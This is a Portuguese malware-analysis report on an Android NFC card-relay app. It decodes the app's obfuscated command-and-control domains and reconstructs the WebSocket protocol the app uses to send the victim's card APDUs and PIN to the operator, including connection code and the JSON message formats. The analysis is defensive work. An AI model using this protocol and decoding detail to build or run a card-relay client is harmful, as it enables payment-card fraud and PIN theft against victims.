api-e-integracoes.md — contratos de rede observados
Nada foi chamado. Todos os domínios abaixo foram obtidos por leitura estática do DEX. Não houve requisição aos servidores, não foram usadas credenciais e o backend não foi "recuperado": o que segue é o contrato observado no cliente.
1. Como os domínios estavam escondidos
Dois esquemas, ambos em defpackage/bs.java (classe bs):
(a) Reversão de string — com.totalsecure.utils.UtilZ0Y480.decode() inverte a string:
Método em bs |
String embutida | Valor real |
|---|---|---|
getWebUrl() |
"epirg.draobhsad//:sptth" |
https://dashboard.gripe |
getHttpUrl() |
"epirg.draobhsad//:sptth" |
https://dashboard.gripe |
getPanelStatusUrl() |
"sutats/ipa/epirg.draobhsad//:sptth" |
https://dashboard.gripe/api/status |
getWsUrl() |
"yaler-sw/epirg.draobhsad//:ssw" |
wss://dashboard.gripe/ws-relay |
(b) base64 + XOR de 4 bytes (chave {42, 31, 55, 13}, bs.x()), métodos privados _a(), _b(), _c(), _d():
| Método | Blob | Valor decodificado | Uso |
|---|---|---|---|
_a() |
XWxENwUwQH4EfEJ9XXBFYU58Qn0EbF55Tw== |
wss://ws.cupworldcup.site |
não referenciado |
_b() |
QmtDfVklGCJdelUjSWpHekVtW2lJakcjWXZDaA== |
https://web.cupworldcup.site |
não referenciado |
_c() |
idêntico a _b() |
https://web.cupworldcup.site |
não referenciado |
_d() |
QmtDfVklGCJLb14jSWpHekVtW2lJakcjWXZDaAV+R2QFbENsXmpE |
https://api.cupworldcup.site/api/status |
não referenciado |
fm5oo1jxl apenas expõe bs.getWsUrl() / bs.getWebUrl() / bs.getPanelStatusUrl() como constantes
(a086wc0daqk, a0i932lzo, a0l, a1gfkfn6pmcg4pznxmjj). As três URLs de cupworldcup.site são código morto
neste APK — nenhuma chamada, nenhuma referência — mas revelam infraestrutura do mesmo autor (mesma cifra, mesma
estrutura de caminhos /api/status).
2. Inventário de endpoints observados
| # | Método | URL | Quem usa | Autenticação | Observação |
|---|---|---|---|---|---|
| 1 | GET (WebView) |
https://dashboard.gripe/?step=<etapa>&session_id=<id> |
ReFragment.goStep() |
nenhuma | etapas: (vazio), cartao-aproximado, finalizado; a página é servida pelo operador |
| 2 | WSS |
wss://dashboard.gripe/ws-relay |
vo5bwh (OkHttp 4.9.3) |
nenhuma (sem header, sem token, sem cookie) | canal de APDUs e do PIN |
| 3 | GET |
https://dashboard.gripe/api/status |
MainActivity.painelStatusUrl |
— | declarada e nunca usada (campo morto) |
| 4 | WSS |
wss://ws.cupworldcup.site |
— | — | código morto (bs._a) |
| 5 | GET |
https://web.cupworldcup.site |
— | — | código morto (bs._b/_c) |
| 6 | GET |
https://api.cupworldcup.site/api/status |
— | — | código morto (bs._d) |
Domínios: dashboard.gripe (ativo) e cupworldcup.site (legado). Nenhum outro http(s)/wss foi encontrado
no DEX fora de bibliotecas (varredura de 700 literais http no classes.dex: todos OkHttp/AndroidX/schemas XML).
3. Contrato do WebSocket (reconstruído de vo5bwh.java, vn9w9z8k.java, ye0.java)
3.1 Conexão
// vo5bwh.<init>(wsUrl, sessionId)
OkHttpClient client = new OkHttpClient.Builder()
.pingInterval(15, TimeUnit.SECONDS) // keep-alive
.build();
this.ws = client.newWebSocket(new Request.Builder().url(wsUrl).build(), new vn9w9z8k(this, sessionId));
scheduler.scheduleAtFixedRate(this::lambda$new$0, 3, 3, TimeUnit.SECONDS); // reconexão / heartbeat de estado
- Nenhum header customizado, nenhum
Authorization, nenhum certificado fixado (CertificatePinnernão é usado). - Reconexão: a tarefa de 3 s chama
reconnectWebSocket()(só se nunca conectou) e, quandodeviceReady,sendDeviceStatus(). - Sessão:
sessionId=Build.MODEL + "_" + últimos 4 dígitos de Settings.Secure.android_id(ReFragment.updateHardwareId) — identificador previsível e reutilizável, não é segredo.
3.2 Mensagens cliente → servidor
type/chave |
Payload completo | Origem |
|---|---|---|
| identidade (ao abrir) | {"role":"IsoDep","deviceReady":<bool>,"id":"<sessionId>"} |
vn9w9z8k.onOpen, vo5bwh.resendIdentity |
| status do dispositivo | {"session":"<sessionId>","type":"deviceStatus","deviceReady":<bool>} |
sendDeviceStatus() |
| PIN | {"session":"<sessionId>","type":"pin","deviceReady":<bool>,"pin":"<4 ou 6 dígitos>"} |
sendPin() ← cd.java |
| resposta APDU | {"session":"<sessionId>","deviceReady":<bool>,"data":"<HEX maiúsculo>","direction":"response"} |
sendResponse(byte[]) |
3.3 Mensagens servidor → cliente
| Formato | Ação no app |
|---|---|
{"direction":"request","data":"<HEX>"} |
hexStringToByteArray → entrega ao consumer → IsoDep.transceive(...) |
qualquer JSON sem direction ou com outro valor |
ignorado silenciosamente |
3.4 Fluxo de uma transação (formato do fio)
Macete local em ReFragment.lambda$handleTagData$10: se o comando começa com 80A8 (GET RESPONSE do
GENERATE AC/CVM), a UI é trocada em runOnUiThread antes de enviar — ou seja, a tela muda para pedir o PIN
exatamente no momento da verificação de CVM do cartão. [comprovado]
3.5 Tratamento de erro
| Situação | Comportamento | Evidência |
|---|---|---|
transceive lança exceção |
Thread.sleep(200), evento de monitoramento, UI volta para "aguardando"; nenhuma retentativa do APDU |
ReFragment.java:181-188 |
tag perdida / IsoDep desconectado |
loop de 1 s em isConnected() → handleNfcTagLost() → goStep("?step=") + Toast "Cartão NFC perdido ou removido" |
ReFragment.java:158-164, 192-206 |
| WebSocket fecha/falha | onClosed/onClosing/onFailure → marca desconectado, executa callback de UI; reconexão só se reconnectAttempts==0 |
vn9w9z8k.java |
| página não carrega | onReceivedError → carrega HTML inline "Falha ao carregar a pagina" (sem detalhes) |
bd.java |
| JSON inválido do servidor | catch (Exception unused) — descartado |
vn9w9z8k.onMessage |
4. Segurança do canal (avaliação)
| Item | Observação |
|---|---|
| TLS | wss:// e https://; network_security_config bloqueia HTTP claro; sem pinning |
| Autenticação | inexistente — qualquer cliente que fale o JSON pode se declarar um IsoDep |
| Autorização | inexistente — nenhum vínculo entre sessão e operador |
| Integridade | sem assinatura/HMAC nas mensagens; APDU em hex puro |
| Anti-replay | sem nonce; session_id derivado de dados do aparelho, reutilizável |
| Ofuscação de tráfego | nenhuma; o PIN trafega em texto claro dentro do TLS como campo "pin" |
5. SDKs e integrações de terceiros
| SDK | Uso | Evidência |
|---|---|---|
| OkHttp 4.9.3 (+ Okio) | HTTP/WebSocket | okhttp3/internal/Util.java:82 → userAgent = "okhttp/4.9.3"; 131+50 classes |
org.json |
montagem/parse das mensagens | 22 classes; vo5bwh, vn9w9z8k |
| AndroidX (appcompat, fragment, constraintlayout, navigation, lifecycle, startup, profileinstaller, emoji2, recyclerview, viewpager2, savedstate, compose-ui) | UI/inicialização | 111 classes |
Material Components (com.google.android.material) |
tema/estilos | 90 classes |
| Nenhum SDK de pagamento, adquirente, banco, analytics, push (FCM), crash reporting, ou atribuição | — | ausência de com.google.firebase, com.facebook, com.crashlytics, com.adjust, etc. |
Ou seja: a única integração externa é o próprio servidor de relay. Não há telemetria de terceiros.
6. Credenciais e segredos
Varredura do classes.dex (21.858 strings) por Bearer, token, api_key, apikey, secret, password, @gmail:
nenhuma chave, token ou credencial encontrada. O modelo de confiança não usa autenticação — o "segredo" é o
próprio cartão da vítima. Nada foi mascarado porque nada existe para mascarar; as únicas credenciais envolvidas na
execução foram as do proxy (mascaradas e removidas — ver README.md §6).